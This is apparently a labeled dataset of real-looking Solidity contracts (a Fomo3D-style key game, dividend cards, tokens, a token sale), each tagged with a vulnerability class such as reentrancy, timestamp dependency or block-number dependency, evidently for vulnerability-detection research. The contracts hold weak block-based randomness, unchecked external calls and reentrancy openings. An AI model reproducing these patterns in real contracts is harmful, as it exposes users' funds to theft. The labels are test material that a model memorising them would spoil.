returns(uint256) { uint256 _now = now; if (_now < round_.end) if (_now > round_.strt + rndGap_) return( (round_.end).sub(_now) ); else return( (round_.strt + rndGap_).sub(_now)); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { if (now > round_.end && round_.ended == false && round_.plyr != 0) { if (round_.plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID) private view returns(uint256) { return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256) { return ( round_.keys, round_.end, round_.strt, round_.pot, round_.plyr, plyr_[round_.plyr].addr, plyr_[round_.plyr].name, airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)), plyr_[_pID].aff, plyrRnds_[_pID].eth ); } function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) { core(_pID, msg.value, _affID, _eventData_); } else { if (_now > round_.end && round_.ended == false) { round_.ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_) private { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_pID, _eth, _affID, _eventData_); } else if (_now > round_.end && round_.ended == false) { round_.ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } } function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000) { uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_.eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys); if (round_.plyr != _pID) round_.plyr = _pID; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys); plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth); round_.keys = _keys.add(round_.keys); round_.eth = _eth.add(round_.eth); _eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_); _eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_); endTx(_pID, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID) private view returns(uint256) { return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask)); } function calcKeysReceived(uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) return ( (round_.eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) return ( (round_.keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(UnicornBook), ""only UnicornBook can call this function""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(UnicornBook), ""only UnicornBook can call this function""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = UnicornBook.getPlayerID(msg.sender); bytes32 _name = UnicornBook.getPlayerName(_pID); uint256 _laff = UnicornBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _winPID = round_.plyr; uint256 _pot = round_.pot + airDropPot_; uint256 _win = (_pot.mul(45)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_)) / 100; uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys); uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _com = _com.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _gen = _gen.add(_com); _com = 0; } round_.mask = _ppt.add(round_.mask); _eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = 0; return(_eventData_); } function updateGenVault(uint256 _pID) private { uint256 _earnings = calcUnMaskedEarnings(_pID); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask); } } function updateTimer(uint256 _keys) private { uint256 _now = now; uint256 _newTime; if (_now > round_.end && round_.plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end); if (_newTime < (rndMax_).add(_now)) round_.end = _newTime; else round_.end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _com = _eth * 5 / 100; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now); } else { _com += _aff; } if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256(""deposit()"")))) { } return(_eventData_); } function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_)) / 100; uint256 _air = (_eth / 20); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(20) / 100); uint256 _dust = updateMasks(_pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_.pot = _pot.add(_dust).add(round_.pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys); round_.mask = _ppt.add(round_.mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask); return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( (msg.sender == 0xcD0fce8d255349092496F131f2900DF25f0569F8), ""only owner can activate"" ); require(activated_ == false, ""LastUnicorn already activated""); activated_ = true; round_.strt = now - rndGap_; round_.end = now + rndInit_; } } library RSdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; } struct Round { uint256 plyr; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; } } library RSKeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface UnicornInterfaceForForwarder { function deposit() external payable returns(bool); } interface UnicornBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } }",./Dataset/block number dependency (BN),0,0 1153.sol,"pragma solidity ^0.4.24; contract ERC721 { function approve(address _to, uint _tokenId) public; function balanceOf(address _owner) public view returns (uint balance); function implementsERC721() public pure returns (bool); function ownerOf(uint _tokenId) public view returns (address addr); function takeOwnership(uint _tokenId) public; function totalSupply() public view returns (uint total); function transferFrom(address _from, address _to, uint _tokenId) public; function transfer(address _to, uint _tokenId) public; event Transfer(address indexed from, address indexed to, uint tokenId); event Approval(address indexed owner, address indexed approved, uint tokenId); } contract ZethrDividendCards is ERC721 { using SafeMath for uint; event Birth(uint tokenId, string name, address owner); event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name); event Transfer(address from, address to, uint tokenId); string public constant NAME = ""ZethrDividendCard""; string public constant SYMBOL = ""ZDC""; address public BANKROLL; mapping (uint => address) public divCardIndexToOwner; mapping (uint => uint) public divCardRateToIndex; mapping (address => uint) private ownershipDivCardCount; mapping (uint => address) public divCardIndexToApproved; mapping (uint => uint) private divCardIndexToPrice; mapping (address => bool) internal administrators; address public creator; bool public onSale; struct Card { string name; uint percentIncrease; } Card[] private divCards; modifier onlyCreator() { require(msg.sender == creator); _; } constructor (address _bankroll) public { creator = msg.sender; BANKROLL = _bankroll; createDivCard(""2%"", 1 ether, 2); divCardRateToIndex[2] = 0; createDivCard(""5%"", 1 ether, 5); divCardRateToIndex[5] = 1; createDivCard(""10%"", 1 ether, 10); divCardRateToIndex[10] = 2; createDivCard(""15%"", 1 ether, 15); divCardRateToIndex[15] = 3; createDivCard(""20%"", 1 ether, 20); divCardRateToIndex[20] = 4; createDivCard(""25%"", 1 ether, 25); divCardRateToIndex[25] = 5; createDivCard(""33%"", 1 ether, 33); divCardRateToIndex[33] = 6; createDivCard(""MASTER"", 5 ether, 10); divCardRateToIndex[999] = 7; onSale = false; administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true; administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true; administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true; administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true; } modifier isNotContract() { require (msg.sender == tx.origin); _; } modifier hasStarted() { require (onSale == true); _; } modifier isAdmin() { require(administrators[msg.sender]); _; } function setBankroll(address where) isAdmin { BANKROLL = where; } function approve(address _to, uint _tokenId) public isNotContract { require(_owns(msg.sender, _tokenId)); divCardIndexToApproved[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } function balanceOf(address _owner) public view returns (uint balance) { return ownershipDivCardCount[_owner]; } function createDivCard(string _name, uint _price, uint _percentIncrease) public onlyCreator { _createDivCard(_name, BANKROLL, _price, _percentIncrease); } function startCardSale() public onlyCreator { onSale = true; } function getDivCard(uint _divCardId) public view returns (string divCardName, uint sellingPrice, address owner) { Card storage divCard = divCards[_divCardId]; divCardName = divCard.name; sellingPrice = divCardIndexToPrice[_divCardId]; owner = divCardIndexToOwner[_divCardId]; } function implementsERC721() public pure returns (bool) { return true; } function name() public pure returns (string) { return NAME; } function ownerOf(uint _divCardId) public view returns (address owner) { owner = divCardIndexToOwner[_divCardId]; require(owner != address(0)); return owner; } function purchase(uint _divCardId) public payable hasStarted isNotContract { address oldOwner = divCardIndexToOwner[_divCardId]; address newOwner = msg.sender; uint currentPrice = divCardIndexToPrice[_divCardId]; require(oldOwner != newOwner); require(_addressNotNull(newOwner)); require(msg.value >= currentPrice); uint percentIncrease = divCards[_divCardId].percentIncrease; uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease); uint totalProfit = SafeMath.sub(currentPrice, previousPrice); uint oldOwnerProfit = SafeMath.div(totalProfit, 2); uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit); oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice); uint purchaseExcess = SafeMath.sub(msg.value, currentPrice); divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100); _transfer(oldOwner, newOwner, _divCardId); BANKROLL.send(bankrollProfit); oldOwner.send(oldOwnerProfit); msg.sender.transfer(purchaseExcess); } function priceOf(uint _divCardId) public view returns (uint price) { return divCardIndexToPrice[_divCardId]; } function setCreator(address _creator) public onlyCreator { require(_creator != address(0)); creator = _creator; } function symbol() public pure returns (string) { return SYMBOL; } function takeOwnership(uint _divCardId) public isNotContract { address newOwner = msg.sender; address oldOwner = divCardIndexToOwner[_divCardId]; require(_addressNotNull(newOwner)); require(_approved(newOwner, _divCardId)); _transfer(oldOwner, newOwner, _divCardId); } function totalSupply() public view returns (uint total) { return divCards.length; } function transfer(address _to, uint _divCardId) public isNotContract { require(_owns(msg.sender, _divCardId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _divCardId); } function transferFrom(address _from, address _to, uint _divCardId) public isNotContract { require(_owns(_from, _divCardId)); require(_approved(_to, _divCardId)); require(_addressNotNull(_to)); _transfer(_from, _to, _divCardId); } function receiveDividends(uint _divCardRate) public payable { uint _divCardId = divCardRateToIndex[_divCardRate]; address _regularAddress = divCardIndexToOwner[_divCardId]; address _masterAddress = divCardIndexToOwner[7]; uint toMaster = msg.value.div(2); uint toRegular = msg.value.sub(toMaster); _masterAddress.send(toMaster); _regularAddress.send(toRegular); } function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } function _approved(address _to, uint _divCardId) private view returns (bool) { return divCardIndexToApproved[_divCardId] == _to; } function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease) private { Card memory _divcard = Card({ name: _name, percentIncrease: _percentIncrease }); uint newCardId = divCards.push(_divcard) - 1; require(newCardId == uint(uint32(newCardId))); emit Birth(newCardId, _name, _owner); divCardIndexToPrice[newCardId] = _price; _transfer(BANKROLL, _owner, newCardId); } function _owns(address claimant, uint _divCardId) private view returns (bool) { return claimant == divCardIndexToOwner[_divCardId]; } function _transfer(address _from, address _to, uint _divCardId) private { ownershipDivCardCount[_to]++; divCardIndexToOwner[_divCardId] = _to; if (_from != address(0)) { ownershipDivCardCount[_from]--; delete divCardIndexToApproved[_divCardId]; } emit Transfer(_from, _to, _divCardId); } } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } }",./Dataset/integer overflow (OF)/,4,4 37450.sol,"pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract CandyCoinBigBang is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function CandyCoinBigBang() { balances[msg.sender] = 1000000000000000000000000; totalSupply = 1000000000000000000000000; name = ""Candy Coin""; decimals = 18; symbol = ""CNDY""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 8436.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TokenCHK { function balanceOf(address _owner) public pure returns (uint256 balance) {} } contract ESSENTIA_PE is Ownable { using SafeMath for uint256; string public name = ""ESSENTIA Public Engagement""; uint256 public tokenPrice = 0; uint256 public maxCap = 0; address public FWDaddrETH; address public ESSgenesis; uint256 public totalSold; uint256 public decimals = 18; mapping (address => uint256) public sold; uint256 public pubEnd = 0; address contractAddr=this; uint256 public tokenUnit = uint256(10)**decimals; constructor ( address toETHaddr, address addrESSgenesis ) public { FWDaddrETH = toETHaddr; ESSgenesis = addrESSgenesis; } function () public payable { buy(); } function setFWDaddrETH(address _value) public onlyOwner{ FWDaddrETH=_value; } function setGenesis(address _value) public onlyOwner{ ESSgenesis=_value; } function setMaxCap(uint256 _value) public onlyOwner{ maxCap=_value; } function setPrice(uint256 _value) public onlyOwner{ tokenPrice=_value; } function setPubEnd(uint256 _value) public onlyOwner{ pubEnd=_value; } function buy() public payable { require(block.timestamp < pubEnd); require(msg.value > 0); require(msg.value <= msg.sender.balance); require(msg.value + totalSold <= maxCap); uint256 tokenAmount = (msg.value * tokenUnit) / tokenPrice; require(tokenAmount<=TokenCHK(ESSgenesis).balanceOf(contractAddr)); transferBuy(msg.sender, tokenAmount); totalSold = totalSold.add(msg.value); FWDaddrETH.transfer(msg.value); } function withdrawPUB() public returns(bool){ require(block.timestamp > pubEnd); require(sold[msg.sender] > 0); if(!ESSgenesis.call(bytes4(keccak256(""transfer(address,uint256)"")), msg.sender, sold[msg.sender])){revert();} delete sold[msg.sender]; return true; } function transferBuy(address _to, uint256 _value) internal returns (bool) { require(_to != address(0)); sold[_to]=sold[_to].add(_value); return true; } function EMGwithdraw(uint256 weiValue) external onlyOwner { require(block.timestamp > pubEnd); require(weiValue > 0); FWDaddrETH.transfer(weiValue); } }",./Dataset/timestamp dependency (TP)/,6,6 0x009e864923b49263c7f10d19b7f8ab7a9a5aad33_FKX.sol,"pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); 